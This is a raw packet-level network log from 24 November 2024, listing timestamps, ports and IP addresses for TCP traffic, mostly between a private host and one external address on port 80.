Nov 24, 2024 08:44:08.410430908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.411530018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.411571980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.411629915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.412744999 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.412786007 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.412851095 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.413933039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.413969994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.414010048 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.415066957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.415126085 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.427928925 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.428057909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.428101063 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.428447962 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.428666115 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.429698944 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.429745913 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.429804087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.430723906 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.430871964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.430995941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.431056976 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.432060957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.432132006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.432214022 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.433221102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.433300972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.433351040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.434365988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.434494972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.434530973 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.435581923 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.435682058 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.435725927 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.436777115 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.437014103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.437050104 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.437942028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.438060999 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.438100100 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.439153910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.439322948 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.439359903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.440350056 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.440442085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.440479994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.441499949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.441611052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.441646099 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.478708982 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.503511906 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.598665953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.598746061 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.598804951 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.599215984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.599303961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.599400043 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.611569881 CET	443	49786	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:08.615677118 CET	49786	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:08.615700006 CET	443	49786	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:08.616786957 CET	49786	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:08.616794109 CET	443	49786	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:08.623461008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.623553991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.623613119 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.624058008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.624224901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.624306917 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.625240088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.625340939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.625389099 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.626472950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.626521111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.626563072 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.627614975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.627747059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.627862930 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.628776073 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.628925085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.630033970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.630090952 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.630124092 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.630733967 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.631156921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.631262064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.631320953 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.632323980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.632442951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.632503986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.633517027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.633647919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.633702040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.634772062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.634922981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.634975910 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.636209011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.636281013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.636374950 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.637065887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.637188911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.637278080 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.638247013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.638416052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.638463974 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.639435053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.639544010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.639852047 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.640640974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.640685081 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.641104937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.641796112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.642088890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.642174006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.642241001 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.643260956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.643321037 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.643354893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.644542933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.644610882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.644678116 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.645657063 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.645713091 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.645760059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.646831036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.646915913 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.646967888 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.648061037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.648113966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.648183107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.649276972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.649344921 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.649379015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.650372982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.650477886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.650538921 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.651560068 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.651635885 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.651675940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.652734041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.652805090 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.652833939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.653980017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.654019117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.654071093 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.655113935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.655174971 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.655241966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.656313896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.656354904 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.656403065 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.657486916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.657545090 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.657577038 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.658741951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.658787966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.658858061 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.659868002 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.659920931 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.659960985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.661032915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.661134958 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.661154032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.662278891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.662350893 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.662375927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.663429022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.663512945 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.663539886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.664601088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.664655924 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.664693117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.665774107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.665822029 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.665889978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.666964054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.667009115 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.667064905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.668152094 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.668198109 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.668253899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.669331074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.669369936 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.669423103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.670500994 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.670558929 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.670608997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.671710014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.671813011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.671818972 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.672888041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.672941923 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.672996044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.674050093 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.674144983 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.674154043 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.675235987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.675338984 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.675374985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.676429033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.676487923 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.676536083 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.677634001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.677684069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.677756071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.678807974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.678858042 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.678911924 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.679991007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.680033922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.680073023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.681154013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.681257010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.681279898 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.682338953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.682387114 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.682424068 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.683569908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.683605909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.683651924 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.684712887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.684756041 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.684819937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.685904980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.685942888 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.685977936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.687139988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.687180996 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.687249899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.688297987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.688391924 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.688430071 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.689455986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.689537048 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.689568043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.690660954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.690710068 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.690731049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.691828966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.691881895 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.691919088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.693002939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.693069935 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.693075895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.694245100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.694288969 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.694325924 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.695380926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.695424080 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.695497990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.696568012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.696686983 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.696712971 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.697722912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.697762966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.697841883 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.698940992 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.699006081 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.699040890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.700103998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.700162888 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.700220108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.701293945 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.701330900 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.701383114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.702470064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.702506065 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.702565908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.703655005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.703701019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.703768969 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.704838037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.704931021 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.704942942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.706022978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.706094980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.706171036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.707221985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.707329035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.707393885 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.708427906 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.708574057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.708595037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.709585905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.709654093 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.709700108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.710768938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.710834980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.710865021 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.711946011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.712002039 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.712059975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.713129044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.713262081 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.713275909 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.714358091 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.714397907 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.714453936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.715496063 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.715533018 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.715604067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.716772079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.716813087 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.716888905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.717866898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.717952967 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.717994928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.719022036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.719063044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.719121933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.720293045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.720330954 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.720343113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.721400023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.721443892 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.721496105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.722656965 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.722706079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.812061071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.812074900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.812086105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.812097073 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.812123060 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.812161922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.813211918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.813358068 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.813436031 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.814143896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.814208984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.814280987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.815339088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.815440893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.815484047 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.816494942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.816603899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.816644907 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.817681074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.817775011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.817816973 CET	49781	80	192.168.2.10	185.215.113.16
